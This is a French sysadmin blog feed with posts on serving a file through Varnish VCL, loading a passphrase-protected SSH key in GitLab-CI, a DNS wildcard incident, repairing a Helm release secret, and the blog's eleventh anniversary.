Vue lecture

Utiliser Varnish pour injecter du contenu sans toucher au backend

Varnish, en voilà une techno qu’on ne voit pas tous les jours sur les plateformes modernes d’hébergement, et pourtant, ça se déploie même dans Kubernetes 😛 Et si je vous dis que j’ai eu à gérer un cas de fourniture de contenu dans un contexte plus que particulier, avec du Varnish en frontal, et que je ne pouvais pas passer par le serveur web ? Allez, je vous explique.

Varnish, un logiciel méconnu, mais très puissant

Varnish est un serveur « cache », qui fonctionne comme un « proxy » entre votre site web et ses visiteurs. Son rôle est de garder en mémoire temporairement le résultat de la construction des pages de votre site. En effet, quand vous visitez un site comme le mien par exemple, le moteur WordPress, qui doit être chargé en premier lieu, doit construire l’intégralité du code HTML de la page, avec les références aux feuilles de style, aux scripts JavaScript des différents plugins, et le contenu de la page en question, ce qui implique des appels à la base de données. Bref, un paquet d’activités à rejouer pour chaque visiteur, chaque page visitée. Si le contenu d’une page n’a pas à bouger pendant un certain temps, on peut se dire que générer une fois la page, et servir le résultat X fois pendant ledit certain temps, est un gain de ressources et donc de performances non négligeable. C’est un des points forts des CDN, allié à l’aspect géographique de ce type de service.

Varnish est reconnu pour son empreinte minimaliste, et ses performances redoutables. Il est aussi connu pour la mentalité des développeurs du projet concernant la sécurité (ils se sont réjoui le jour où ils ont ouvert une section « security advisory », après 10 ans d’existence). Il est aussi devenu un peu pénible à utiliser depuis que le HTTPS s’est généralisé, parce que les développeurs ont pris le parti de ne pas l’implémenter, ce qui a réduit un peu son intérêt. L’usage des CDNs étant une autre raison du désamour croissant.

Le contexte particulier qui nous intéresse

Particulier, c’est bien le mot : le site sur lequel je dois intervenir est déployé avec Docker, un container avec Varnish en frontal, un container avec Apache/PHP derrière. Mais j’ai plusieurs problèmes avec cette plateforme. Les containers sont déployés avec docker-compose, mais je n’ai pas accès au fichier, tout est construit et déployé avec un pipeline Jenkins, jusque là rien que de très commun me direz-vous. Sauf que le serveur Jenkins n’existe plus non plus, je n’ai accès à aucune source ni aucun support de l’agence web d’origine (plus de contrat). Le bonheur de tout sysadmin.

On me demande de mettre à jour le « merchant ID » d’Apple pour le site web (un identifiant qui sert pour Apple Pay), et ça passe par un fichier spécial qui doit être joignable avec une URI de la forme /.well-known/apple-developer-merchantid-domain-association. Pas de bol, le container avec le site web est en lecture seule (comprendre, l’utilisateur du container n’est pas le propriétaire du « DocumentRoot », le dossier qui contient le site web). Mais, le Varnish 5 présent en front, lui, il l’est, d’autant plus qu’on a accès à son compte root !

On est donc tout équipé pour tenter une greffe à chaud sans anesthésie.

Opération à cœur ouvert

J’identifie le fichier « VCL » qui contient la configuration relative au site, et j’attaque la première tentative. On rajoute un test dans la section vcl_recv{} :

sub vcl_recv {
if (req.url ~ "^/.well-known/apple-developer-merchantid-domain-association") {
return (synth(200,"7C227073704964223B2236304337424..."));
}

return (synth(() est la méthode à utiliser si on veut renvoyer du contenu qui ne vient pas du backend. Il faut par contre définir quelques propriétés dans la section vcl_synth{} pour qu’il ne renvoie pas du HTML par défaut mais du texte brut :

sub vcl_synth {
set resp.http.Content-Type = "text/plain; charset=utf-8";
set resp.body = resp.reason;
return(deliver);
}

Vient ensuite l’injection à chaud de la configuration. C’est un truc que j’aime bien avec Varnish, on peut lui demander de charger plusieurs configurations en parallèle et basculer entres celles-ci en fonction des besoins. En gros, voilà ce que je fais :

bash-5.0# varnishadm
200
-----------------------------
Varnish Cache CLI 1.0
-----------------------------
Linux,3.10.0-1160.83.1.el7.x86_64,x86_64,-junix,-smalloc,-sdefault,-hcritbit
varnish-6.2.1 revision 9f8588e4ab785244e06c3446fe09bf9db5dd8753

Type 'help' for command list.
Type 'quit' to close CLI session.

varnish> vcl.list
200
active warm warm 2 boot

varnish> vcl.load apple /var/varnish-docker/dockerized.apple.vcl
200
VCL compiled.

varnish> vcl.list
200
active warm warm 2 boot
available auto warm 0 apple

varnish> vcl.use apple
200
VCL 'apple' now active
varnish> quit
500
Closing CLI connection
bash-5.0# curl -s http://127.0.0.1:6081/.well-known/apple-developer-merchantid-domain-association
7C227073704964223B2236304337424(...)

Le détail du fonctionnement des commandes Varnish se trouve dans la documentation.

Hourra ! Enfin presque, parce qu’après avoir informé le client, ce dernier me dit que c’est toujours pas bon. Et là, le gaillard qui travaille sur l’intégration Apple Pay m’indique qu’il y a un souci avec le checksum (première fois que c’est mentionné dans nos échanges). La documentation que l’on ne m’avait évidemment pas fourni indiquait bien de livrer le fichier et de ne pas copier son contenu. Je vous le donne en mille, il manque un retour à la ligne à la fin.

J’ai donc bossé sur une alternative. La doc de Varnish me renvoie vers un std.fileread(). Je copie donc le fichier dans le même répertoire que le VCL, et j’en profite pour faire une syntaxe un poil plus propre au niveau de ce dernier, la voici.

sub vcl_recv {
    if (req.url ~ "^/.well-known/apple-developer-merchantid-domain-association") {
        return (synth(200,"apple"));
    }
(...)
}

sub vcl_synth {
(...)
if (resp.reason == "apple") {
    set resp.http.Content-Type = "text/plain; charset=utf-8";
    set resp.body = std.fileread("/var/varnish-docker/apple-developer-merchantid-domain-association");
    return(deliver);
  }
}

Et là, j’ai bien le bon checksum (franchement, pour un retour à la ligne…). À noter qu’il faut bien faire attention aux permissions du fichier qu’il doit lire – même si dans le cas présent on est root-, et que le contenu n’est pas lu dynamiquement, mais mis en cache au chargement à l’instar du reste de la configuration, il faut donc jouer avec use/discard/load/use de varnishadm pour jouer avec les configs (ou charger avec un nom différent à chaque fois, mais c’est un peu plus dégueu).

Dans mon cas, vu le peu de persistance nécessaire je me suis arrêté là. Le site était en cours de refonte et c’est d’ailleurs ce qui a motivé le choix de l’ajout du fichier en premier lieu sur cette plateforme, vu qu’elle répondait déjà au domaine. Je n’avais pas le temps de tenter un reverse des images pour la jouer au niveau du serveur web, et c’était cool au final de bosser avec Varnish, que je vous recommande de découvrir rien que pour comprendre comment fonctionnent certains CDNs.

Amusez-vous bien 🙂

  •  

Gitlab-CI, clé SSH avec passphrase, petit casse-tête

C’est un cas peu commun et qui m’a donné du fil à retordre (on parle de 3h d’essais/erreurs), c’est suffisamment barbu pour que je prenne la peine de partager l’info, en redonnant du contexte et un peu plus d’explications quand même.

Le contexte, donc

Nous sommes dans une migration de jobs qui s’exécutaient sur Jenkins à la main et qui doivent être refaits dans Gitlab-CI. Une grande partie de la facilité vient du fait que tout est basé sur Ansible, ce qui fait qu’on a finalement qu’à gérer « l’autour » de la logique des jobs, à savoir le setup de l’environnement d’exécution pour Ansible. Certains de ces jobs ciblent des serveurs sous Windows, d’autres sous Linux (Ansible fait ça très bien, via WinRM/Powershell pour Windows, SSH/Python pour Linux). Pour les Windows, un compte technique dans l’annuaire utilisé pour les environnements de préproduction fera le taf à la place de… variables utilisateurs/mots de passe fournies aux jobs à l’exécution. Pour les Linux, ça repose sur un compte dédié avec une clé SSH exploitée par Jenkins.

En temps normal personne se poserait de question, sauf que là, mon problème est que la clé est protégée par une phrase de passe, en anglais passphrase, et c’est particulièrement compliqué de travailler avec, au point que la plupart des gens recommandent de virer la phrase de la clé. Sauf que là, c’est hors de question, j’ai pas le droit d’y toucher. Au moins je peux la récupérer depuis un Vault Hashicorp privé. Et donc, mon premier symptôme, c’est ça :

debug1: Trying private key: /home/appuser/.ssh/id_rsa
debug1: read_passphrase: can\'t open /dev/tty: No such device or address

SSH, ça s’automatise bien normalement, et puis…

Le fameux tty qu’on voit, c’est l’interface qui doit permettre à l’utilisateur d’interagir, et donc de saisir la passphrase au moment souhaité, à savoir quand il doit la présenter pour la connexion. On comprend donc le problème avec un pipeline Gitlab-CI: point de TTY. Et pas la peine d’y penser, le client SSH n’a aucune autre méthode directe pour accepter ladite phrase (c’est pas comme l’installation du SDK Android où on peux suffixer < yes pour répondre automatiquement aux questions d’acceptation des licences).

À force de chercher et de torturer mes termes de recherche, je finis par tomber sur cet article. Fait intéressant, il mentionne des options/variables d’Ansible pour manipuler justement les clés et éviter de fournir la phrase à chaque fois. Mais le problème, c’est que pour ansible_ssh_prompt, on doit indiquer l’intitulé de la question à laquelle on doit répondre par la passphrase et qu’il va devoir « capturer ». Question qui n’est jamais posée puisque pas de TTY pour ça. Ce n’est donc toujours pas exploitable, mais une réponse suivante sur la même page me mets sur la voie.

Cette ligne m’intrigue particulièrement:

- echo "$SSH_PRIVATE_KEY" |tr -d '\r' | DISPLAY=None SSH_ASKPASS=~/.ssh/tmp ssh-add -

La documentation d’ssh-add va répondre à mes questions:

DISPLAY, SSH_ASKPASS et SSH_ASKPASS_REQUIRE
    Si ssh-add a besoin d'une phrase secrète, il la lira sur le terminal actif s'il a été lancé dans un terminal. Si ssh-add n'a aucun terminal associé alors que DISPLAY et SSH_ASKPASS sont défi‐
    nies, il exécutera le programme spécifié par SSH_ASKPASS (par défaut « ssh-askpass ») et ouvrira une fenêtre X11 pour lire la phrase secrète. Cela s’avère particulièrement utile lors de l'appel
    de ssh-add depuis un fichier .xsession ou un script similaire.

Je tente donc la solution, mais fait face à un nouveau message d’erreur:

ssh_askpass: exec(/home/appuser/.ssh/.print_ssh_password): Exec format error

Là, ça m’a pris beaucoup moins de temps, et la solution finale était tout près, il manque le shebang au script que je fournis (.print_ssh_password). Au passage, et contrairement à la majorité des posts que j’ai pu lire sur le sujet, j’utilise une base python-alpine pour le job et pas Debian/Ubuntu, ce n’est donc pas bash qui est aux commandes, et donc il faut adapter un chouia la séquence, mais ça a donné ça :

script:
  - echo "[SSH]Initialisation Clé"
  - |
    mkdir ~/.ssh && chmod 700 ~/.ssh
    echo -ne '#!/bin/sh\necho $passphrase' > ~/.ssh/.print_ssh_password
    chmod 700 ~/.ssh/.print_ssh_password
    eval $(ssh-agent)
    echo "$key" | tr -d '\r' | DISPLAY="None" SSH_ASKPASS=~/.ssh/.print_ssh_password ssh-add -
  - echo "[INFO] Ping du serveur"
  - ansible linux_server -m ping -i inventories/$ANSIBLE_INVENTORY -vvvvvv

Ouais, la brochette de v à la fin permet d’avoir le moindre bout de message d’erreur, franchement abusez-en pendant une telle opération c’est super pratique.

Donc, qu’est-ce qu’on a fait ? En amont, via Vault, on récupère la clé privée dans la variable key et sa passphrase dans la variable passphrase, rien de très original là-dedans. En passant, comme cette récupération se fait pendant l’exécution du job, job qui se lance dans un runner Kubernetes, il n’y a pas de stockage persistant de ces variables. On crée le dossier .ssh avec les bonnes permissions à la racine du dossier utilisateur de l’image, et on y place un petit script dont le seul rôle est d’afficher le contenu de la variable passphrase. On démarre le ssh-agent, puis on traite le contenu de la variable key (pour virer d’éventuels retours chariot à la Windows), avant de l’envoyer à ssh-add (le tiret à la fin permet de dire qu’on lui envoie la clé directement, sans passer par un fichier), à qui on précise les variables DISPLAY et SSH_ASKPASS pour éviter de chercher à poser la question à un humain, la réponse étant directement fournie par le script.

Le résultat est sans appel:

linux_server | SUCCESS => {
    "ansible_facts": {
        "discovered_python_interpreter": "/usr/bin/python"
    },
    "changed": false,
    "invocation": {
        "module_args": {
            "data": "pong"
        }
    },
    "ping": "pong"
}

« Ça serait pas arrivé avec Kubernetes »

C’est vrai quoi, une API finalement c’est mieux pour faire tout ça non ?

J’avais envie de troller un peu, mais plus sérieusement, étant donné qu’il y a aussi un annuaire pour gérer les connexions utilisateurs sous Linux, je suis surpris que la méthode repose sur ce genre de mécanisme avec un compte local et une clé SSH et pas un compte technique de la même nature que pour les Windows, ce qui aurait simplifié le processus tout en harmonisant les configurations.

En tout cas, j’étais soulagé et heureux d’avoir pu trouver la solution et continuer mes migrations. Et vous, vos connexions SSH dans Gitlab-CI, vous les gérez comment ?

  •  

DNS: faisez gaffe aux wildcard !

Encore un déterrage de brouillon, sur un problème qui doit être toujours d’actualité dans son concept. Un Problème surprenant (pour les pros du DNS peut-être pas), mais voilà, on a eu droit à un incident inattendu, que je voulais partager pour sa bizarrerie apparente. Parce que si j’ai trouvé la solution assez rapidement, il m’a fallu du temps pour comprendre, et je suis pas encore certain d’avoir tout intégré, même deux ans et demi après.

Pour fournir une résolution souple aux clients sur leur plateforme Kubernetes (parce que pourquoi pas), on leur a fourni un alias à configurer sur leur propre zone, histoire de ne pas avoir à dépendre d’eux pour d’éventuelles migrations/reconfigurations déménagements. Cet alias repose sur une fonctionnalité du DNS, les wildcard. Ça donne quelque chose dans ce genre-là :

#notredomaine.fr

prd    A    1.2.3.4
sta    A    5.6.7.8
*.prd CNAME prd
*.sta CNAME sta

On l’aura compris, « prd » c’est le cluster de prod, « sta » le cluster de staging. De leur côté, les clients déclarent l’alias dans leur propre zone :

www.domainX.com    CNAME    www.domainX.com.prd.notredomaine.fr

Dans une situation simple, classique, c’est l’alias *.prd qui prend en charge et fournit la réponse aux clients qui cherchent à joindre un des domaines concernés par ce dispositif. Ah, et en passant, on ne peut pas appliquer un CNAME à l’apex (autrement appelé la racine) d’un domaine (RFC je sais plus, demandez à votre moteur de recherche). Et si vous vous demandez pourquoi un tel setup, c’est qu’on se sert aussi d’un tel « domaine technique » (comprendre un domaine différent de celui du vrai site et géré par nos soins) pour pouvoir tester le site dans différentes situations sans reposer sur le nom de domaine du client, notamment pendant certaines phases de validation, et pour pouvoir gérer ça au niveau des Ingress Rules.

Déplacement d’Ingress Controller, arrivent les problèmes

Eh oui, parce que la vie est ainsi faite, on nous demande de déployer un Ingress Controller particulier avec des paramètres bien précis, donc une nouvelle adresse IP, et de déplacer certains des sites derrière celui-ci. Je vais pas détailler la partie « kube » de ce dispositif, c’est assez trivial en principe (cherchez ingressClass si vraiment vous voyez toujours pas), mais voilà comment on prépare côté DNS :

prd-private    A    4.3.2.1
*.prd-private    CNAME    prd-private

Et quand on doit bouger www.domain2.com, avec notre dispositif, avec le Go du client, j’applique la modif côté cluster et je déplace de manière explicite côté DNS de mon côté:

www.domain2.com.prd    CNAME    prd-private

Et là, patatras. Quand un collègue est venu me voir au bout d’un quart d’heure, en me disant qu’un autre domaine sans rapport avec ma modification était tombé, et ayant l’historique prouvant que j’étais le dernier à avoir modifié notre zone notredomaine.fr, il est clair que l’effet de bord n’avait pas été correctement anticipé. Mais quel effet me direz-vous, sachant qu’on avait testé en staging avant sans avoir détecté ce genre de comportement ?

Le premier indice, c’est que tous les domaines ne sont pas concernés. Sur les 4 alertes qui sont apparues, le point commun est que toutes les URLs ont des domaines en .com. Le second, c’est que ma modif fonctionne pour mon propre domaine. Au bout de cinq minutes, je dis à Camille : « je suis pas sûr mais je tente un truc ». J’ai rajouté une ligne :

*.com.prd    CNAME    prd

Et ça répond à nouveau. J’ai eu du pif, mais j’avoue que sur le moment, c’est plus de l’instinct qu’autre chose, et j’aurais été bien en peine d’expliquer pourquoi, mais au niveau du comportement, on voit maintenant ce qui se passe. Je vais essayer de formuler du mieux possible ce que j’en ai compris.

Explication pas forcément claire

Pour rappel, dans le DNS les domaines fonctionnent par niveau, chaque niveau est séparé par un point. On parle souvent de « sous-domaine », mais c’est un abus de langage, en pratique, chaque niveau dispose des mêmes fonctionnalités et propriétés, ils héritent de certaines caractéristiques, le système étant hiérarchique (com, domain.com, www.domain.com, etc). Dans le cas qui nous occupe, tant qu’on avait qu’un seul wildcard pour tout ce qui concernait les niveaux au dessus de prd.mondomaine.fr, le résolveur ne se posait pas trop de questions et répondait à tout. Mais quand j’ai déclaré www.domain2.com.prd dans mondomaine.fr, j’ai donc déclaré au moins une entrée sur .com.prd. À partir de ce moment-là, cette déclaration explicite exclut toutes les autres réponses par le wildcard. La seule solution de contournement implique de déclarer un wilcard supplémentaire pour ce niveau spécifiquement afin de retrouver un comportement initial.

Pourquoi ce comportement ? Eh bien, comme je l’ai dit, les domaines sont gérés par niveau, et il faut savoir que chaque niveau peut être délégué / géré par un résolveur différent. Dès lors, déclarer une entrée spécifique pour un niveau implique que le résolveur arrête d’appliquer les propriétés des niveaux précédents aux niveaux suivants, ce que permet justement le wildcard. Et c’est logique, si un niveau contient des informations (ici au moins un CNAME), si jamais il est délégué, on n’est pas censé répondre à la place dudit délégué. Certes ici c’est le même, et donc il aurait pu continuer de répondre. Il faut se souvenir que le système de DNS remonte à 1983, et même s’il a été mis à jour à la marge, la majorité du fonctionnement intrinsèque n’a pas bougé, et cette gestion en niveaux en fait partie.

On évite les wildcard alors ?

Certains diront oui, mais dans le monde réel, parfois c’est plus pratique/évident de faire avec (tout le monde ne peut pas composer avec de la résolution dynamique comme le fait Kubernetes en interne). Ici, la solution la plus pratique aurait été de supprimer l’utilisation des .com/.fr/.it/.whatever des alias, et ne garder que le nom sans le TLD, ce qui aurait rendu chaque entrée plus unique et donc limité l’impact de l’exclusion du wildcard global du « calcul » de la réponse.

Dans certaines situations, déléguer le niveau de l’alias est une solution plus adaptée, notamment dans le cadre de l’usage certains outils comme les CDN Cloudflare ou Akamai, ainsi ils se chargent notamment de la mise à jour dynamique de la ou les adresses IP par lesquelles vous passez. Certains utilisent aussi du DNS « géographique », à savoir donner une réponse différente en fonction de là où vous vous trouvez sur le réseau (plus ou moins corrélé à votre emplacement physique), réponse qui doit pointer sur un serveur plus proche et donc plus « performant ». Bref, vous l’aurez compris, le wildcard dans le DNS n’est pas toujours la solution la plus adaptée, et ce problème rencontré en production est là pour le rappeler.

Ah, et pour ceux qui pensent qu’on aurait pu juste tout déclarer manuellement, quand on pense une plateforme pour de l’hébergement massif, semi-dynamique, et qu’on a pas les API / accès pour gérer la zone programmatiquement, et qu’on a passé les 50 sites, ben utilise les wildcards DNS « épicétou » 😛

  •  

Helm : erreur au déploiement suite à la suppression d’API

On a beau concevoir des chaînes d’intégration et de déploiement continu pour que les mises à jour fréquentes de sites web soient facilitées, il arrive tout de même de temps en temps que des projets « zombies » traînent sur une plateforme hébergeant de nombreuses applications gérées par des équipes différentes. Et si vous faites correctement votre travail de maintenance d’infrastructure de votre côté,  ben parfois, on tombe sur un gros os.

Si vous pensez que l’article ne sert à rien ou presque, allez jusqu’au post-scriptum 😉

Sur cette plateforme, les livraisons se font avec Helm. Depuis Helm 3, l’historique de livraison est stocké dans des secrets Kubernetes dans le namespace cible. Il faut savoir que lors d’une livraison, das les grandes lignes voilà ce que fait Helm :

  1. « Compiler » les manifestes à partir des templates et des variables fournies (fichiers values, --set)
  2. Comparer le résultat à celui de la précédente livraison
  3. Interroger l’API Server pour vérifier la présence des objets de cette précédente livraison
  4. Générer/supprimer/patcher les ressources concernées par des modifications, ce qui correspond de fait à la livraison
  5. Stocker le résultat dans un nouveau secret quand la livraison s’est déroulée correctement.

C’est à l’étape de l’interrogation qu’on peut se retrouver dans un sacré blocage avec ce genre d’erreur :

Error: UPGRADE FAILED: unable to build kubernetes objects from current release manifest: resource mapping not found for name: "ing-pwapriv" namespace: "" from "": no matches for kind "Ingress" in version "extensions/v1beta1"
ensure CRDs are installed first
helm.go:84: [debug] resource mapping not found for name: "ing-pwapriv" namespace: "" from "": no matches for kind "Ingress" in version "extensions/v1beta1"

Au début j’ai pas trop compris, parce que je pensais que c’était les manifestes de livraison de l’application qui posaient problème, mais à l’évidence, la vérité était ailleurs. Et de fait, on a découvert que si les manifestes avaient bien été rafraîchis via un script un an auparavant, le commit contenait la mention magique [skip-ci]. Ce qui ne serait pas plus choquant que ça si dans le même temps l’agence web n’avait pas pris plus d’un an pour mettre à jour le site web… Ce qui veut dire que la dernière livraison contient des manifestes dont l’apiGroup de l’ingressRule n’existent plus.

Et là, ça a été l’aventure pour trouver une solution. On pourrait simplement « désinstaller » le site, et le réinstaller. Mais je suis moyennement fan, parce que ça va créer une indisponibilité alors qu’on pourrait s’en passer, même si on est confiant sur la sécurité des données (le volume NFS est en retain et la BDD ne bougera pas), je cherche une alternative.

Déjà quand on découvre le format du secret. Par défaut, quand on tente de récupérer le YAML ou le JSON du secret, on est face à un contenu encodé en bas64; jusque là, c’est normal. Mais il fait une taille conséquente, et quand on le décode… Ben c’est toujours illisible, et pour cause : c’est encore du base64. Mais si on le décode une deuxième fois, on est face à un truc illisible, en tout cas pour l’instant.

La gueule du contenu…

Car le résultat, si on le met dans un fichier, est au format GZIP. Une fois décodé, on est face… à un JSON qui contient, de manière sérialisée, les manifestes au format YAML, y compris le coupable. Oui, sérialisée. Après avoir épongée la grosse goutte de sueur qui venait de perler, j’entame la marche pour corriger :

  1. Identifier la section de la loooongue chaîne de caractères correspondante au manifeste fautif,
  2. La copier/coller dans un éditeur
  3. Rétablir le formattage YAML (remplacer les \n par de vrais retours à la ligne)
  4. Modifier le manifeste (non seulement la ligne de l’apiGroup, mais toute la définition de la partie service)
  5. Reconvertir les retours à la ligne en \n pour retrouver la ligne unique
  6. Remplacer la section fautive par la version corrigée dans le JSON.

Il ne reste ensuite qu’à recompresser et double/base64-iser le contenu dans une copie corrigée du manifeste du secret, et donc écraser l’historique. Le plus gros challenge dans ce foutoir est de ne pas se planter sur l’indentation. Une fois qu’on a modifié le secret, si on se rate on est bon pour supprimer/recréer le secret.

Avant de retenter la livraison, on peut justement vérifier avec helm get manifest, s’il n’y a pas d’erreur on peut dès lors retenter la livraison qui devrait passer (en tout cas ça a été bon pour moi), même si techniquement on vient de réécrire l’histoire. Et comme ça on évite le gros downtime de la désinstallation/réinstallation du site.

L’intérêt de se faire « mal »

Déjà, j’en ai appris beaucoup sur le process de livraison de Helm, parce que j’avoue que depuis que je m’en sers, je m’étais plutôt concentré sur les problèmes liés au templating, le reste c’était un peu « ta gueule c’est magique ». Surtout, les deux heures qu’ils m’aura fallu pour trouver cette solution sans interruption de service (le site était toujours debout, rien n’avait été modifié), elles auront été rentabilisées car trois autres sites ont depuis été pris du même mal, et là, on parle d’une dizaine de minutes grand max pour chaque nouvelle occurrence rencontrée. Et la méthode fonctionne quelque soit le type d’objet problématique (parce qu’entre temps, y’a les CronJobs et les PDB qui se sont mis à râler aussi, sinon c’est pas drôle).

Il y a plein de réflexions à avoir pour mieux se prémunir de ce genre d’erreurs, mais elles sont pour beaucoup spécifiques aux choix de design fait par le client, notamment la séparation du code du site de la gestion de la livraison (build docker & helm). La difficulté de devoir gérer quasiment 200 projets sur cette plateforme fait qu’on ne peut pas non plus éviter complètement les erreurs, notamment sur les quelques projets qui ne respectent pas les modèles qu’on a mis en place.

Je n’ai pas non plus complètement sorti la méthode de nulle part. Mais l’article qui m’a guidé vers la solution finale est avare en détail, parle du networking.k8s.io/v1beta1 (donc moins chiant à remplacer), ce qui fait qu’il a juste scripté le bousin sans plus de cérémonie. Au moins là on a les explications du pourquoi du comment 🙂

Post Scriptum

Ouais, vu ce que j’ai à dire encore après tout ça, ça tient pas sur une seule ligne. Dès le titre, certains auront pensé « mais en fait c’est dans la doc », « mais y’a un plugin ». Il s’avère que oui, sur la même page, on a la méthode manuelle complète, et la mention d’un plugin « kubemapapis » qu’ont d’ailleurs découvert les collègues vietnamiens quelques semaines plus tard, se facilitant dès lors très fortement la vie. Mais il se trouve que j’ai démarré l’écriture de cet article il y a pratiquement deux ans (j’ai même changé d’entreprise entre temps, c’est dire), la documentation n’était pas nécessairement aussi explicite à l’époque, et je pense que malgré tout, ma recherche de la solution manuelle permettant de se pencher sur le format des informations manipulées par Helm reste pertinente 😉

  •  

Pu… 11 ans !

Simili vulgaire, ouais, ne serait-ce que parce que j’ai raté l’étape symbolique des 10 ans. Mais c’est un fait : le première article du blog date de Septembre 2013 (le 21 pour être précis, pile au début de l’automne); techniquement on peut même dire que j’ai raté les 11 ans. Il en aura vu passer des vertes et des pas mûres, de mes expérimentations d’alors, de mes changements de vie aussi, et même s’il est moins qu’actif ces dernières années, je n’ai pas non plus prévu de « débrancher la prise ».

Le calme plat de la technique

Il a beau avoir changé de tête et d’activité au fil des ans, une chose n’a pas changé : WordPress. Le vénérable moteur de blog écrit en PHP a vu passer de la version du langage de 5.4 à 7.4 actuellement, avec un futur assez proche à 8.1/8.2 en fonction de mon niveau de confiance (vu la gueule du dernier live – ah oui, j’en parle juste après-, c’est pas pour tout de suite le temps de tout régler, pas merci SELinux). Et je ne vais pas me risquer à lister les versions même de WordPress. Par contre, exit le vieillissant Debian 8, dont ce n’était même pas la première maison. Je ne me souviens plus bien si c’était la même version depuis le début, à savoir de Debian 5 à Debian 8, en passant par 6 et 7; dire que dans le billet des 5 ans je parlais de réinstaller une Debian 10… Passé d’Apache à Nginx, de PHP « module » à PHP-FPM, ajout de Redis pour calmer les ardeurs des entrées/sorties du vieillissant matériel… Toutes ces choses sont désormais sur un RockyLinux 9 parti pour durer. Bon ça c’était pour la technique.

Le blog a pour l’instant eu trois « visages », Responsive, Simone, Momentous, sachant que le deuxième a été l’occasion pour moi de commencer à expérimenter les thèmes enfants, méthode privilégiée pour apporter ses propres modifications à un thème déjà fourni, bien pratique quand mes propres compétences dans le développement sont plus que limitées. Bon par contre Momentous n’a pas été mis à jour depuis deux ans semble-t-il (ou alors c’est un effet de bord du problème de version de WordPress et/ou de prérequis, comme pour les plugins), donc même en ayant eu la flemme de changer de thème y’a trois ans il semble que je ne vais pas y couper. Reste à savoir quelle sera la nouvelle base. Déjà en 2013 j’avais visé une lecture agréable sur mobile en plus du PC, ça n’est pas près de changer. L’édition est plus problématique, mais pour la sécurité je ne peux plus utiliser l’application mobile, ceci étant dit, vu ma productivité quasi nulle on va dire que ce n’est pas très grave hein 🙂

En fait en parlant de base, plus ça va et plus je me pose la question de quitter WordPress. Je ne publie plus assez souvent pour le justifier, même sur les derniers articles les commentaires ne se sont pas bousculés, donc il y a réflexion à changer de moteur, et d’alléger le tout pour passer à… (roulement de tambours) un SSG, en français un générateur de site statique. Original, non ? Nouvelle méthode de construction, nouvelle méthode de production de contenus, une légèreté à toute épreuve (surtout que le serveur Hetzner est back par un SSD), y’a de quoi s’amuser très fortement en préparant une telle migration.

Une activité dans les chaussettes, mais ce n’est pas très grave non plus

11 ans… À l’époque j’avais utilisé une métaphore scolaire pour parler des 5 ans, on approcherait donc du collège. Et malgré un ralentissement déjà visible à l’époque, de plus en plus important, la diversité des sujets est resté un moteur de mon écriture, ce qui n’est pas pour me déplaire. Même si certains articles ont bien mieux vieillis que d’autres. Linux évidemment, administration système, streaming, auto-hébergement, hacking, hardware, jeu vidéo, cinéma, et j’en passe, je ne me suis pratiquement rien interdit comme sujets à partir du moment où j’avais, selon moi, un éclairage suffisamment rare ou intéressant à partager. Et s’il fallait avoir quelques regrets, c’est d’avoir perdu l’envie du partage des petites astuces du quotidien, et évidemment les gros articles de vulgarisation. Vu le niveau toujours abyssal de la population générale sur les questions numériques au sens large, il est toujours plus que nécessaire de tenter de les rattraper au vol.

Sauf qu’en ce moment, il n’y a pas plus de motivation que ces deux dernières années (trois/quatre même ?) pour marquer le coup, ni faire évoluer le contenu en profondeur. Mais le paysage de la publication a bien changé aussi. Même si j’ai toujours à cœur de partager ce que j’apprends, j’essaie quand même d’y mettre un intérêt : il y a dix ans, je ne trouvais pas beaucoup de ressources notamment en Français sur les sujets qui m’intéressaient, sans parler d’un environnement de vie plus que propice à la vulgarisation. Sur ce dernier point en particulier j’ai déjà eu l’occasion de m’exprimer sur mon abandon, qui a les mêmes motivations que pour le reste du contenu : en 10 ans, la donne a bien changé, je continue d’apprendre toujours plus en particulier dans ce que j’appelle la Galaxie Kubernetes (certains diront la Jungle, je valide aussi :D) mais je ne trouve aucun angle particulier qui justifierais de partager ce que j’ai déjà appris car d’autres s’en chargent généralement avant moi, et en Français qui plus est; si c’est pour faire le perroquet, donc du bruit pour pas grand chose de plus… Ce n’est pas comme si je courais après les statistiques, les avoir est toujours intéressant, mais ce n’est pas un critère déterminant. D’autant plus que Google continue de référencer correctement le blog malgré son activité plus que limitée, sans que je comprenne trop pourquoi ou comment vu que je n’ai jamais cherché à optimiser quoi que ce soit à ce sujet. Aussi mon expertise récente est basée sur des environnements d’hébergement que je n’ai pas forcément à cœur de partager avec vous, parce que j’estime que ce n’est pas nécessaire (Google Cloud, Microsoft Azure), car si je m’en contente au niveau professionnel, je n’ai aucunement envie de leur faire de la publicité auprès du « grand public ».

Activité du blog, allégorie

Un intérêt qui se porte ailleurs

Quand je dis que je ne trouve plus rien à partager, c’est presque faux. Je ne trouve plus d’intérêt pour l’instant à partager à l’écrit sur ce blog. Après un constat sur l’absence de réelles expérimentations dans le cadre de ma veille technique (ce qui peut être une grosse erreur sur certains points complexes), et devant la tristesse de bricoler tout seul dans mon coin, j’ai décidé de tenter l’aventure « Streaming », histoire d’amener un peu d’interactivité dans ces sessions de découvertes. Certains épisodes relèvent plus de la reprise de maintenance, un exercice que finalement on voit peu en termes de contenu. Il est facile de trouver un milliards de tuto pour déployer une techno, une plateforme, un service, mais rarement pour parler maintenance, mises à jour, réparation, migration.

Sujet intéressant que le streaming, que ce soit en termes techniques en local (setup, qualité de la composition de l’image), mais surtout en termes réseau. Après un week-end de préparation sans accroc sur YouTube (parce que j’avais déjà le compte), la première session un vendredi soir s’est avérée catastrophique en terme de stabilité réseau. Et j’aurai persisté deux autres sessions de plus avant de lâcher l’affaire pour créer un compte Twitch. C’est là qu’on voit la différence en termes d’investissement sur la performance réseau, en particulier en Europe, sans parler des pratiques de nos propres opérateurs en matière de routage et d’interconnexions. Le problème de Twitch, qui l’est un peu moins pour du contenu comme le mien, peu nerveux, c’est le retard sur les technologies d’encodage, d’autant plus en étant conservateur sur le débit max (ce qui n’est pas forcément une mauvaise chose dans l’absolu, notez bien). Je peux comprendre l’impasse faite sur H265 à cause du coût des licences pour les encodeurs et la diffusion, mais AV1 bordel ! Ceci dit, vu le retard sur les encodeurs matériels qui permettent un meilleur traitement temps réel, en partie lié à la pandémie, possible que ça ait pris du retard. Mais quand on voit que Google le supporte désormais, un tel immobilisme fait un peu chier de la part d’un géant comme Amazon (car oui, pour ceux qui débarqueraient, Twitch appartient à Amazon).

Le setup du soir où j’ai démonté mon laptop 🙂

